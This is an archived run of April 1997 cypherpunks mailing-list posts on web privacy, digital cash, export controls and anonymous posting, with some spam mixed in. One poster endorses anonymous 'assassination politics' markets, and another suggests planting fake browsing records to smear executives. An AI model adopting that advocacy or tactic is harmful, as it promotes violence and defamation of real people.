PEBES) service on the Internet, SSA suspended the test and announced that we
would seek public input on the design of the system, particularly with respect
to the authentication and privacy policies and system safeguards necessary to
ensure public confidence in Interactive PEBES and in future Internet services
planned by SSA.

To do this, we have scheduled a series of public forums in Hartford (May
5), Des
 Moines (week of May 12), Atlanta (week of May 19), San Jose (week of May 26),
Austin (week of June 2), and Washington D.C. (week of June 9).  We also
plan to
schedule an Internet Town Meeting on our Website, www.ssa.gov.

The forums will address important national issues which reach far beyond our
test of the Interactive PEBES.  The safeguarding of individual privacy -- as
technology removes barriers to accessing confidential information -- and the
public's understanding of and trust in using the Internet both for secure,
confidential government services and business and financial services are the
core critical issues.  That is why your input is so important.

We are now identifying interested individuals and organizations who wish to
participate on panels at each of the six public forum locations.  Although we
are unable to provide compensation for your participation, we also invite
comments in writing or via email if you cannot attend a forum in person.

We envision three 1 1/4 -hour panels of  5 people expert in these broad areas:
Privacy, Systems Security and  the Business/Financial Internet community.
There
will also be open sessions where members of the public may register to speak.

However you or your company may choose to participate,  I urge you to consider
offering us your thoughtful input into this important national discussion.













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--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/








From adam at homeport.org  Sat Apr 19 07:38:49 1997
From: adam at homeport.org (Adam Shostack)
Date: Sat, 19 Apr 1997 07:38:49 -0700 (PDT)
Subject: SSL weakness affecting links from pa
In-Reply-To: <3.0.1.32.19970418230820.006527d8@popd.ix.netcom.com>
Message-ID: <199704191434.JAA01685@homeport.org>



	I'm suprosed no one has suggested paying people for
advertising.  If the Netscape folks would integrate digicash into
Communicator, then I could program my browser to only send referer to
sites that paid for the information, and rent cookie space.  Want your
cookie to live till 1999?  Thats 24 months, at 50 cents per month...do
you want to pay?

	These tools would allow users to set a value on their privacy,
and get the money from advertisers.  I know nothing encourages me to
buy a product like getting cold hard cash from the maker.

Adam

Bill Stewart wrote:

| >Of course there should be a toggle to allow users to turn off the 
| >referer field. I tried to get a recomendation to do this put into the
| >spec. People then started shouting at me saying that it was impossible
| >to enforce and so the recomendation shouldn't be there. 
| 
| Perhaps too much commercial advertising capability already depended on it?



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From nobody at huge.cajones.com  Sat Apr 19 13:22:21 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 19 Apr 1997 13:22:21 -0700 (PDT)
Subject: My Thread / Was--Re: Light Bulbs & newsgroups
Message-ID: <199704192022.NAA20494@fat.doobie.com>


List members,

Shut the hell up already; I wrote it, and it's OK for anyone to repost it.

Just attribute it to me.

Anonymous





From steve at edmweb.com  Sat Apr 19 13:39:24 1997
From: steve at edmweb.com (Steve)
Date: Sat, 19 Apr 1997 13:39:24 -0700 (PDT)
Subject: SSL weakness affecting links from pa
In-Reply-To: <199704191434.JAA01685@homeport.org>
Message-ID: <199704192038.NAA19881@kirk.edmweb.com>


> If the Netscape folks would integrate digicash into Communicator,
> then I could program my browser to only send referer to sites that
> paid for the information, and rent cookie space.  Want your cookie to
> live till 1999?  Thats 24 months, at 50 cents per month...do you want
> to pay?

That would only work until someone abuses it. People could create web
robots to run around selling referers and several gigabytes of
worthless cookie space. Worthless, because nobody cares about the web
browsing habits of J. Random Robot, and they certainly don't want to
blow $50 e-bucks on the bot's repeated visits.





From joe at washerezy.net  Sat Apr 19 13:40:30 1997
From: joe at washerezy.net (joe at washerezy.net)
Date: Sat, 19 Apr 1997 13:40:30 -0700 (PDT)
Subject: 6 Million Addresses FREE!
Message-ID: <199704192037.NAA22453@denmark.it.earthlink.net>


Friendly Bulk Email Web Space + 6 Million Addresses FREE!
Only $29.95 per month!

http://www.mary-world.com/webspace/





From bubba at dev.null  Sat Apr 19 13:46:41 1997
From: bubba at dev.null (Bubba Rom Dos)
Date: Sat, 19 Apr 1997 13:46:41 -0700 (PDT)
Subject: WebWorld 36
Message-ID: <33592F61.2004@dev.null>

A non-text attachment was scrubbed...
Name: not available
Type: text/html
Size: 11511 bytes
Desc: not available
URL: 

From nobody at huge.cajones.com  Sat Apr 19 13:49:38 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 19 Apr 1997 13:49:38 -0700 (PDT)
Subject: COMMERCE VISIONARY ERIC HUGHES TEAMS WITH FINANCE EXEC AND TECHNOLOGY ARCHITECT TO FORM TRANSACTION TECHNOLOGY COMPANY, SIMPLE ACCESS
Message-ID: <199704192049.NAA21352@fat.doobie.com>



Looks like Hughes and Hilby have found some fresh meat.

Given sac.net is currently in collection on nearly $100k (plus or minus
lawyers' and collectors' fees) to former suppliers, contractors, and
employees, it seems the greater fool theory of internet commerce is alive
and well. 

Hope the new boys are holding on to their wallets. And their nuts.

ReputationMunger

---------



   Media contact: Melody Kean Haller, Antenna Group, 415-896-1800,
   melody at antennapr.com
   
   COMMERCE VISIONARY ERIC HUGHES TEAMS WITH FINANCE EXEC AND TECHNOLOGY
   ARCHITECT TO FORM TRANSACTION TECHNOLOGY COMPANY, SIMPLE ACCESS
   
   San Francisco, CA -- March 24, 1997. The limits to growth facing
   today's commercial transaction systems are fundamental and
   unavoidable. Current architectures are not able to handle the
   complexity and auditing requirements of tomorrow, according to
   cryptographer, commerce visionary, and cypherpunks founder Eric
   Hughes.
   
   The solution is to build airtight accountability into the system from
   the start, according to Hughes, who has developed an infrastructure
   design methodology that solves this and several other crucial
   electronic commerce problems. Hughes today announced that he has
   formed a company, Simple Access, to build the next generation of
   transaction systems. He also announced two key additions to the
   executive team.
   
   John McArtor, currently President and CEO of Delta International,
   Inc., a private merchant bank, will lead Simple Access as chief
   executive officer. Dwight Koop, formerly executive vice-president of
   technology for Swiss Bank, will direct project development. Eric
   Hughes will continue as chief technology officer.
   
   "Eric Hughes has a deep and compelling vision of the future of
   electronic commerce," said Jerry Michalski, managing editor of Esther
   Dyson's monthly report, Release 1.0. "He understands the science of
   the Internet and security technologies, has insight into the systemic
   flow of commerce, and is informed by an overview of the
   socio-political history of money. The methodology he is proposing aims
   to enable a future in which transactions are undeniably clear.
   Anything Eric puts his energy into is worth paying attention to."
   
   Hughes said, "Currently, 'electronic commerce' is a euphemism for
   'commerce that doesn't work,' or soon won't work on a large scale. In
   order to prevent disasters on the horizon and build a foundation for
   safer and better systems, Simple Access is thinking ahead and solving
   problems at the infrastructure level."
   
   "We are working with leading companies that require their suppliers to
   have solid and experienced managers, so we brought on proven leaders,"
   Hughes continued. "McArtor and Koop meet and exceed those criteria."
   
   "With my 25 years of commercial and investment banking experience,
   I've worked with a lot of bright technologists, and these are some of
   the best," said CEO John McArtor. "I jumped at the opportunity to join
   them. The development team at Simple Access has an intimate knowledge
   of real-world business problems. They are addressing issues at the
   core of domestic and international finance, issues that are very
   important to me."
   
   Simple Access' Director of Software Development, Dwight Koop, said,
   "The technologies we are developing will address serious and immediate
   problems of large-scale commerce. These are elegant designs which can
   be applied especially well in high-stakes transaction systems to
   assure an unprecedented level of accountability, auditability and
   efficiency."
   
   Simple Access is in late-stage negotiations with several strategically
   chosen Fortune 100 companies in different realms of commerce. The
   company is now developing custom solutions, building on the widely
   usable transaction methodology that Hughes has developed. The
   company's current efforts include telephony and Internet provisioning
   and billing, international trade documents, and digital money.
   
   Eric Hughes is a cryptographer and an expert on payment systems and
   commercial interaction. He has consulted to banks, software companies,
   and payment processing firms, and frequently speaks on the subjects of
   security, digital money, and payment systems. He is also renowned as
   the co-founder of the cypherpunks. Hughes authored "A Long Term
   Perspective on Electronic Commerce," which comprised the March 1995
   issue of Release 1.0.
   
   John W. McArtor is president and CEO of Delta International, Inc., a
   private merchant bank engaged in the business of creative corporate
   finance and capital management. Since 1972, Delta International has
   been designing, structuring, syndicating, and managing financial
   vehicles for private sector investment. McArtor's areas of expertise
   include the management of capital in domestic and global futures
   markets, and the creation of venture capital for the
   telecommunications industry.
   
   Dwight Koop was formerly executive vice-president of technology for
   Swiss Bank, one of the world's premier trading institutions. He will
   serve as acting director of software development with Simple Access,
   which will co-develop and co-market projects with New Logic, Inc.,
   where Koop is a principal and practice director of intra/Internet
   systems development. Koop has more than twenty years of solid
   management and consulting background in all aspects of technology,
   with special expertise in creating competitive advantage in the
   financial industry.
   
   Headquartered in San Francisco, California, Simple Access is a
   technology firm that designs and builds infrastructure for finance,
   commerce, security, telephony, and the Internet. Simple Access
   develops solutions to facilitate and simplify interaction at the
   infrastructure level. The company's areas of expertise include payment
   systems, data security, cryptography, and transaction processing. The
   privately held company was founded in 1995. Simple Access is located
   at One Sutter Street, Suite 500, San Francisco, California 94104. To
   reach the company, phone 415-392-0526, fax 415-986-8113 or send email
   to info at sac.net.
   
   For media information please contact Melody Kean Haller, Antenna
   Group, 415-896-1800, or melody at antennapr.com.





From worker at inforevo.com  Sat Apr 19 17:32:39 1997
From: worker at inforevo.com (worker at inforevo.com)
Date: Sat, 19 Apr 1997 17:32:39 -0700 (PDT)
Subject: "Find The Dirt On The Internet" Updated Version
Message-ID: <199702170025.GAA08056@nowhere.com>



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From jya at pipeline.com  Sat Apr 19 18:38:06 1997
From: jya at pipeline.com (John Young)
Date: Sat, 19 Apr 1997 18:38:06 -0700 (PDT)
Subject: Militarily Critical Technologies
Message-ID: <1.5.4.32.19970420013646.008a731c@pop.pipeline.com>


The Militarily Critical Technologies List (MCTL) tersely
describes the full range of technologies controlled by the 
ITAR, EAR and Regimes like the Wassenaar Arrangment.
Information systems and cryptography are covered in
Section 8 of the MCTL which we've put with the TOC at:

     http://jya.com/mctl08.htm

It provides an informative chart that compares information
systems capabilities for 27 nations, and the leaders in a
few cases are surprising. 

The document summarizes crypto:

  1. Cryptanalytic Technologies (for breaking
  ciphertext): 

  Critical Parameters: Due to the numerous variables
  required to implement an information security scheme
  and the wide range of products and services in which
  information security can be deployed this technology
  does not lend itself to specifically enumerated
  parameters.

  Critical Materials: None identified.

  Unique Equipment: Computers of 10,000 CTP, or greater,
  and software specially designed to test the ability of
  cryptanalytic systems to perform key searches,
  statistical, linear and differential cryptanalyses; and
  factor 110 decimal digit, or larger, numbers.

  Unique Software: Operating systems and applications for
  massively parallel cryptanalytic processors (> 16
  processors) specially designed to perform statistical,
  linear and differential cryptanalyses, exhaustive key
  searches and quadratic and number field sieve
  factoring.

  Control Regimes: WA ML 11, 21; WA IL Cat 5.

  2. Cryptographic Technologies (for keeping data
  secure):

  Critical Parameters: Due to the numerous variables
  required to implement an information security scheme
  and the wide range of products and services in which
  information security can be deployed this technology
  does not lend itself to specifically enumerated
  parameters.

  Critical Materials: None identified.

  Unique Equipment: Computers of 10,000 CTP, or greater,
  and software specially designed to perform Randomness,
  Correlation, Weak Key and Symmetry Under
  Complementation tests to evaluate the strength of new
  USG encryption algorithms during development.

  Unique Software: The software providing the
  cryptographic functionality must be specially designed
  and integrated into each application. The system
  engineering and integration, user system interface,
  algorithms and key generators must have zero defects.

  Control Regimes: WA ML 11, 21; WA IL Cat 5.

The document states, "A high rate of IS knowledge transfer
from the US to foreign competitors occurs through open
source US trade journals, technical literature, various
international fora, the Internet and intelligence. As a
result, the US technology leadership in communications and
computer systems has declined in recent years relative to
Europe and Japan."

Section 9 covers Information Warfare Technology and will
interest those who wonder what technologies may be more
effective than cryptography for information security, as
the NRC Crypto Report suggested. We've put this section
(in its original PDF format) at:

  http://jya.com/mcsec09.pdf (122K)







From nobody at huge.cajones.com  Sat Apr 19 22:06:04 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 19 Apr 1997 22:06:04 -0700 (PDT)
Subject: SSL weakness affecting links from pa
Message-ID: <199704200506.WAA05133@fat.doobie.com>


Steve wrote:
> > If the Netscape folks would integrate digicash into Communicator,
> > then I could program my browser to only send referer to sites that
> > paid for the information, and rent cookie space.  Want your cookie to
> > live till 1999?  Thats 24 months, at 50 cents per month...do you want
> > to pay?
> 
> That would only work until someone abuses it. People could create web
> robots to run around selling referers and several gigabytes of
> worthless cookie space. Worthless, because nobody cares about the web
> browsing habits of J. Random Robot, and they certainly don't want to
> blow $50 e-bucks on the bot's repeated visits.

  Why doesn't somebody come up with a program that gives identity
probing programs the identity of browser programmers/executives,
and make a cookie file that indicates visits to hate-group and hard-
core porn sites?

  Not that Toto's a troublemaker...

NoTot[h]o[mo]






From lucifer at dhp.com  Sat Apr 19 22:50:38 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Sat, 19 Apr 1997 22:50:38 -0700 (PDT)
Subject: My Thread / Was--Re: Light Bulbs & newsgroups
Message-ID: <199704200550.BAA06124@dhp.com>


Huge Cajones Remailer wrote:
> List members,
> 
> Shut the hell up already; I wrote it, and it's OK for anyone to repost it.
> 
> Just attribute it to me.
> 
> Anonymous

  Sounds to me like Anonymous is trying to take credit for Nobody's
creation.

Nobody (#2)







From declan at well.com  Sun Apr 20 00:36:24 1997
From: declan at well.com (Declan McCullagh)
Date: Sun, 20 Apr 1997 00:36:24 -0700 (PDT)
Subject: David Friedman and assassination politics
Message-ID: 


So I just walked home from a party in Dupont Circle where some folks were
telling me about a talk David Friedman gave at the Cato Institute about a
week ago. (Apart from being Milt's son, David appears to be a
well-respected libertarian thinker in his own right.) I didn't have the
chance to go myself... 

Friedman, as I understand it, described how digital cash and anonymous
remailers combine to form assassination markets. An assassin can establish
a persistent anonymous identity through public key cryptography and take
bids on future contracts.

These ideas is of course not new to cypherpunks. We've been talking about
them for years. But these ideas are slowly infiltrating the DC body
politic. Assassination politics, here we come -- right, Jim? Want to give
a speech at Cato? Perhaps we can talk some IRS officials into coming...

-Declan






From nobody at huge.cajones.com  Sun Apr 20 02:04:05 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 20 Apr 1997 02:04:05 -0700 (PDT)
Subject: Anonymous Cowards
Message-ID: <199704200904.CAA10903@fat.doobie.com>



Timothy C. May wrote:
> for a long time we had several pseudonyms who contributed a lot.
> 
> However, in the past several months we've been seeing (apparently) drunken
> rants by "TruthMonger," "TruthMangler," "Bubba Rom Dos," and so on. And
> none of these are signed, so various "TruthMongers" are involved.

  I hardly think you need to be so polite as to add "(apparently)"
to the description of Toto's rants, whether she does so as TruthMonger
or not, since she certainly makes no bones about her personal habits,
herself.
 
> (One of the drunken ranters, "Toto," has apparently let his real identity
> slip a couple of times, or perhaps someone else is adding the "Toto" stuff
> to confuse things. It's also likely Toto and some of these other anonymous
> ranters are one and the same.)

  If you have questions about Toto's *real* (government approved?)
identity, or which posts she is (or is not) responsible for for, then
you might consider asking her via private email. I did so and found
her to be quite forthcoming about pretty much anything I asked her.

> In any event, the various anonymous posts in the past few months have been
> disappointing. Rarely does anything substantive come out of their
> anonymity. And they lend support to those who would restrict anonymity (I
> am not one of those) by using anonymity as a shield for cowardly insults
> and attacks.

  Substantive for whom? During the debates about Gilmore's moderation
experiment there was much discussion on the list as to what constituted
substance and what did not. There seemed to be three varying opinions
for every two cypherpunks addressing the issue.

  As far as claiming to not support the restriction of anonymity, while
at the same time labelling those who use it as "cowards," this seems
to me to border on hypocrisy.
  ("I don't support discrimination against people of color, even if 
they *are* shiftless and lazy.")
 
> So, the anonymous posters are not using the pseudonym capabilities digital
> signatures can provide.

  If you have such a deep-seated need to be able to label anonymous
posters with a consistent pseudonym, then perhaps you might suggest
that the government issue them pseudo-identity numbers.

> They're just scribblers on bathroom walls.

  Some who pay a significant amount of attention to all posts which
pass through the cypherpunks list consider many of their scribblings
to be "Stego" scribblings. And what may be seen as FUD and ranting
by some is seen as probing and filtering by others.

  Since you seem to be somewhat fixated on Toto, for whatever
reason (BTW, I have nude pictures of her available), I will offer
some of my own observations as to what I perceive to be the methods
to her madness.

  For starters, anyone who cares to reveiw her posts to the list
since her assumption of the Toto persona can verify the following:
1. She predicted the commencement of the moderation experiment.
2. She noted Tim's absence from the list in a matter of days,
  rather than the *weeks* that others took to note the absence
  of his posts.
3. She both predicted and confirmed most of the malefeasence in the
  moderation process instituted on the list and provided information
  as to how others could confirm these facts for themselves.
  (In this respect, I must add my personal opinion, as one who is
  involved in significant amounts of traffic/personality/methodology
  analysis of email traffic, that her intuitive logic provided more
  pertininent information, in some cases, than volumous databases
  and programs which others have spent years compiling in order to
  achieve the same results).
4. She has not spared herself from the pointed barbs which she 
  places up the butts of others on the cypherpunks list, as well
  as being considerably more forthcoming than most about revealing
  and taking responsibility for her shortcomings and biases in 
  both her perspective and her opinions.
5. She has the fortitude to allow her words to speak for themselves,
  for the most part, without the self-serving disclaimers and
  apologetist false humility used by some on the list.
6. The subtlety of her humor is second only perhaps to that of
  Tim May, and she shares his propensity for letting it stand
  on its own, without smarmy symbols, without fretting over it
  being recognized or appreciated.
7. When she makes use of anonymity or outright forgery on the list,
  she takes pains to leave her "pecker tracks" for all to see, if
  they care to pay the least amount of attention to the details
  of her posts.
8. She was the first (and only?) one during the moderation experiment
  to note that the battleground was not so much one of censorship, but
  of infowar.
  (For those who do not see the pertinence of this statement, I suggest
  that you borrow some of Toto's Crayolas, make a heading labelled
  "Spooks," and start drawing lines between posts.)

  For those who care to follow Toto's "pecker tracks" though the
cypherpunks list, I suggest that you look to her own posts for
the broad hints she gives as to how to do so.
  As well, Toto almost invariably uses 'single quotes' to indicate
emphasis, incorrect punctuation in regard to quote marks of any
genre, and enough commas to cause a worldwide shortage for others
who wish to use them.
  She also adds a personal (usually humorous) touch to any false
signature lines that she chooses to add to her posts in order to
shake loose the robotic mechanisms that most of us use to classify
and file away preconceived opinions as to our views of a message
based on the personality of the messenger.

  Perhaps some anonymous posters do use anonymity, as Tim suggests,
to protect their valued reputational capital from besmirchment or
devaluation. (Or to avoid it moving into the negative side of the
spectrum.)
  However, perhaps others use anonymity because they have other
concerns to address which do not rely on reputation capital to
achieve their purpose.

  Anyone who wants to label Toto as a coward when she chooses 
to used a veiled persona might want to read some of her posts
under her current Toto persona.
  The fact that she does not hesitate to call a ratfucker a
ratfucker as Toto hardly lends credence to the theory that
her reason for doing the same thing pseudo-anonymously is
an act of cowardice.

  She has always shown a propensity for offering praise, as well
as condemnation, to those on the list, as well as defending 
those whom she regards as being unjustly attacked, even if she
usually has a stance that is largely divergent with that of
the person.

  Rather than suggest that those posting anonymously have some
great fear of exposure, for whatever reason, I would suggest
that some of those posting under their own name on the list
might be better served to post anonymously, as it might save
them embarassment if they should ever get their head out of
their ass far enough to notice what imbeciles they are.

   Artist
"I draw flies."






From Telecoms4u at Telecoms.com  Sun Apr 20 07:57:03 1997
From: Telecoms4u at Telecoms.com (Telcoms Savings)
Date: Sun, 20 Apr 1997 07:57:03 -0700 (PDT)
Subject: Free Faxes worldwide for you !
Message-ID: <199704201456.HAA17804@toad.com>



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From dlv at bwalk.dm.com  Sun Apr 20 09:03:52 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 20 Apr 1997 09:03:52 -0700 (PDT)
Subject: David Friedman and assassination politics
In-Reply-To: 
Message-ID: 


Declan McCullagh  writes:

> So I just walked home from a party in Dupont Circle where some folks were
> telling me about a talk David Friedman gave at the Cato Institute about a
> week ago. (Apart from being Milt's son, David appears to be a
> well-respected libertarian thinker in his own right.) I didn't have the
> chance to go myself...
>
> Friedman, as I understand it, described how digital cash and anonymous
> remailers combine to form assassination markets. An assassin can establish
> a persistent anonymous identity through public key cryptography and take
> bids on future contracts.
>
> These ideas is of course not new to cypherpunks. We've been talking about
> them for years. But these ideas are slowly infiltrating the DC body
> politic. Assassination politics, here we come -- right, Jim? Want to give
> a speech at Cato? Perhaps we can talk some IRS officials into coming...

If they have the balls to let him talk.

I convinced Jim to submit a paper to the InfoWarCon last September, but
NSCA didn't have the balls to let him speak.  They did put him paper on
their web server, tho.

Dimitri "sick and tired of this virus" Vulis

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From delete at netchem.com  Sun Apr 20 11:08:19 1997
From: delete at netchem.com (delete at netchem.com)
Date: Sun, 20 Apr 1997 11:08:19 -0700 (PDT)
Subject: How to download our REMOVE (500,000 entries) list
Message-ID: <199704201911.PAA10655@we.just.reply>


Dear Sir/Madam,

We got your email address from list at netchem.com.
Our software might have accidently mixed the email
addresses of those who sent email to list at netchem.com.
with the email addresses of bulk emailers.

If this the case, please email to delete at netchem.com
and you will never be bothered by us again but still 
be able to contribute to list at netchem.com.

We are compiling a list of people who hate to
receive junk email.

We will send you the list periodically.

Please do not even think about adding the REMOVE
list to your mass email list. Almost everyone
on the list will find your IP address and will
complain to us and to your upstream service providers.

To to be eligible to receive the REMOVE list, please
send a blank email to add at netchem.com with your email
address as the subject. We request a human to receive
the REMOVE list.

We are working with many Internet service providers
to filter junk email by sender's name, sender's domain
and sender's IP address. (very easy to do with sendmail).

If you honor our REMOVE list, we will not add your name
to the filtering list. Otherwise, your mass email will be
blocked immediately by many Internet service provider.

You can switch providers but it take time and you also
have to pay your providers. We can update the filtering
list for many Internet service providers in a few seconds. 

To help others and in return to help yourself, please 
send your own REMOVE list to add at netchem.com.

Sincerely,
Jerry

-------------------------------------------------
Jerry Wang, PhD, Chemechanics, Inc.					 
http://www.netchem.com, mailto:jerryw at netchem.com 
-------------------------------------------------





From rachel at intertrader.com  Sun Apr 20 12:34:43 1997
From: rachel at intertrader.com (Rachel Willmer)
Date: Sun, 20 Apr 1997 12:34:43 -0700 (PDT)
Subject: SSL weakness affecting links from pa
In-Reply-To: <3.0.1.32.19970418230820.006527d8@popd.ix.netcom.com>
Message-ID: <3.0.1.32.19970420202354.006ce42c@194.217.109.226>


At 09:34 19/04/97 -0500, Adam Shostack wrote:
>
>	I'm suprosed no one has suggested paying people for
>advertising.  

This is one of the more novel ideas that Digital have come up with for
Millicent. 

In return for allowing the advertiser to download their advert to you, you
get credited with an amount of scrip which is redeemable at their site. 

An interesting concept...

Rachel
Rachel Willmer

Intertrader Ltd

4 John's Place                                                       Tel:
+44 131 555 8450
Edinburgh EH6 7EL                                             Fax: +44 131
555 8451          

Authors of "Digital Money Online" (TM)







From jimbell at pacifier.com  Sun Apr 20 13:15:59 1997
From: jimbell at pacifier.com (Jim Bell)
Date: Sun, 20 Apr 1997 13:15:59 -0700 (PDT)
Subject: David Friedman and assassination politics
Message-ID: <199704202015.NAA01741@mail.pacifier.com>


At 00:36 4/20/97 -0700, Declan McCullagh wrote:

>These ideas is of course not new to cypherpunks. We've been talking about
>them for years. But these ideas are slowly infiltrating the DC body
>politic. Assassination politics, here we come -- right, Jim? Want to give
>a speech at Cato? 

I'd be proud to do it.  Even after everything that's happened so far.  

Strike that; ESPECIALLY after everything that's happened so far!

The way I see it, they're going to have to deal with this issue eventually,
and it's possible that it won't be obvious to them that libertarianism and
AP mix.  Indeed, I think they MUST mix; we have no choice in the matter.


Jim Bell
jimbell at pacifier.com






From adam at homeport.org  Sun Apr 20 13:26:22 1997
From: adam at homeport.org (Adam Shostack)
Date: Sun, 20 Apr 1997 13:26:22 -0700 (PDT)
Subject: SSL weakness affecting links from pa
In-Reply-To: <3.0.1.32.19970420202354.006ce42c@194.217.109.226>
Message-ID: <199704202021.PAA05908@homeport.org>


Rachel Willmer wrote:
| At 09:34 19/04/97 -0500, Adam Shostack wrote:
| >	I'm suprosed no one has suggested paying people for
| >advertising.  
| 
| This is one of the more novel ideas that Digital have come up with for
| Millicent. 
| 
| In return for allowing the advertiser to download their advert to you, you
| get credited with an amount of scrip which is redeemable at their site. 

	At their site?  Feh.  Thats a coupon, not money.

	I was cash.  Cold, hard cash that I can spend on nifty toys.
Otherwise, what good do all those Microsoft cookies do me?  I accept
your cookie, I get paid for it.  If I don't buy your product, then,
heck, get yourself better advertising, or a better product.



Adam
-- 
	"Cash value 1/20th of a cent."







From harka at nycmetro.com  Sun Apr 20 13:27:01 1997
From: harka at nycmetro.com (harka at nycmetro.com)
Date: Sun, 20 Apr 1997 13:27:01 -0700 (PDT)
Subject: pgpmail45.exe
Message-ID: 


-----BEGIN PGP SIGNED MESSAGE-----

Quick question for any Win 95 pgpmail45 users:

Is pgpmail45 a front-end for PGP or is it the actual PGP-program
made as a plug-in for Eudora and Netscape? (i.e. if you'd install
pgpmail45, do you need to have PGP 2.6.2/2.6.3i installed before?)

Also, what do you think of pgpmail45? Would it be easy for
newcomers?

Please reply privately...

Thanks already in advance.

Ciao

Harka

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBM1ks3jltEBIEF0MBAQEflgf+J1lqCQ1g9YEo/wukOquBu+aGBsO2ixDh
LehzXE2Y3hOFO4/ae6wpfrkJb6tKvwFMAOSmCQHI8xlFZD2Dt21t3val7CAWLNuI
izr76Iu4htMZYSnX0dclN1Fn9Nd4EGgjmRYysWJMYRhAKJTu/N32/fSkgynzERtJ
c9dxTtDkKXA0TBHG+Qv/kscd/tx5Y/r0HGojm8euh2GtSDORC1s47ZUFUXPzq4Ay
njwVrKN6ldJMm2nw2MRq0bVurQVhqS4SyRjLzfLMoPfK60yiDTolfVS1wK1Xq7eG
KLM3qG9/SILWViwOAV3N0UZI84i6ikK0m9jx/nq4DoA6iTP5dzW3RQ==
=WB4T
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...







From adam at homeport.org  Sun Apr 20 13:28:06 1997
From: adam at homeport.org (Adam Shostack)
Date: Sun, 20 Apr 1997 13:28:06 -0700 (PDT)
Subject: David Friedman and assassination politics
In-Reply-To: 
Message-ID: <199704202024.PAA05948@homeport.org>


David wrote "The Machinery of Freedom" about tools that could be
developed to acheive "socially desirable" effects, such as the lack of
a single dominant protective agency, without the interference of the
state.  He also wrote about how, once developed, these structures
would self perpetuate, since there would be few reason to redevelop a
state.

Good stuff.  Well worth reading.

Adam


Declan McCullagh wrote:
| So I just walked home from a party in Dupont Circle where some folks were
| telling me about a talk David Friedman gave at the Cato Institute about a
| week ago. (Apart from being Milt's son, David appears to be a
| well-respected libertarian thinker in his own right.) I didn't have the
| chance to go myself... 


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From adam at homeport.org  Sun Apr 20 13:35:33 1997
From: adam at homeport.org (Adam Shostack)
Date: Sun, 20 Apr 1997 13:35:33 -0700 (PDT)
Subject: SSL weakness affecting links from pa
In-Reply-To: <199704192038.NAA19881@kirk.edmweb.com>
Message-ID: <199704202032.PAA05999@homeport.org>


Steve wrote:
| > If the Netscape folks would integrate digicash into Communicator,
| > then I could program my browser to only send referer to sites that
| > paid for the information, and rent cookie space.  Want your cookie to
| > live till 1999?  Thats 24 months, at 50 cents per month...do you want
| > to pay?

| That would only work until someone abuses it. People could create web
| robots to run around selling referers and several gigabytes of
| worthless cookie space. Worthless, because nobody cares about the web
| browsing habits of J. Random Robot, and they certainly don't want to
| blow $50 e-bucks on the bot's repeated visits.

	Thats true, but can they avoid it?  I'm considering writing a
database pollution bot, which runs around, claiming to be Mozilla or
IE, and randomly following a link once per minute.  Why?  Database
pollution.  If there are a few thousand of these randomly collecing
links and creating arbitrary (or perhaps biased) viewing habbits in
the databases of the advertisers, then their individual data becomes
worth less.  They'll need to actively solicit peoples permission to
collect data before doing so, to avoid people polluting their
databases.

	Similarly, putting a randomly generated email address in those
sign up fields produces pollution in the data used by spammers, which
costs them (and no one else) money.  If you run your own site, you can
even bit bucket the email, trading their bandwidth for yours, and
making them think they're delivering more junk email than they are.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From declan at well.com  Sun Apr 20 14:16:34 1997
From: declan at well.com (Declan McCullagh)
Date: Sun, 20 Apr 1997 14:16:34 -0700 (PDT)
Subject: David Friedman and assassination politics
In-Reply-To: <199704202015.NAA01741@mail.pacifier.com>
Message-ID: 


Jim,

For the record: I doubt everyone agrees with your "libertarianism is
intertwined with assassination politics" line... I suggest that one can
believe in minimal government and other libertarian mainstays without
seeing a need to kill off those whom we dislike, be they IRS agents or
surly supermarket clerks. 

-Declan


On Sun, 20 Apr 1997, Jim Bell wrote:

> At 00:36 4/20/97 -0700, Declan McCullagh wrote:
> 
> >These ideas is of course not new to cypherpunks. We've been talking about
> >them for years. But these ideas are slowly infiltrating the DC body
> >politic. Assassination politics, here we come -- right, Jim? Want to give
> >a speech at Cato? 
> 
> I'd be proud to do it.  Even after everything that's happened so far.  
> 
> Strike that; ESPECIALLY after everything that's happened so far!
> 
> The way I see it, they're going to have to deal with this issue eventually,
> and it's possible that it won't be obvious to them that libertarianism and
> AP mix.  Indeed, I think they MUST mix; we have no choice in the matter.






From 3umoelle at informatik.uni-hamburg.de  Sun Apr 20 15:08:07 1997
From: 3umoelle at informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Sun, 20 Apr 1997 15:08:07 -0700 (PDT)
Subject: Militarily Critical Technologies
In-Reply-To: <1.5.4.32.19970420013646.008a731c@pop.pipeline.com>
Message-ID: 


>  Unique Equipment: Computers of 10,000 CTP, or greater,

Pardon my igorance: What is CTP?
Who is the author of that list?





From bubba at dev.null  Sun Apr 20 16:21:44 1997
From: bubba at dev.null (Bubba Rom Dos)
Date: Sun, 20 Apr 1997 16:21:44 -0700 (PDT)
Subject: Epilogue to WebWorld
Message-ID: <335AA4E9.639C@dev.null>

A non-text attachment was scrubbed...
Name: not available
Type: text/html
Size: 8930 bytes
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URL: 

From jya at pipeline.com  Sun Apr 20 16:57:05 1997
From: jya at pipeline.com (John Young)
Date: Sun, 20 Apr 1997 16:57:05 -0700 (PDT)
Subject: Militarily Critical Technologies
Message-ID: <1.5.4.32.19970420235541.008a3c14@pop.pipeline.com>


At 10:37 PM 4/20/97 GMT+0200, you wrote:
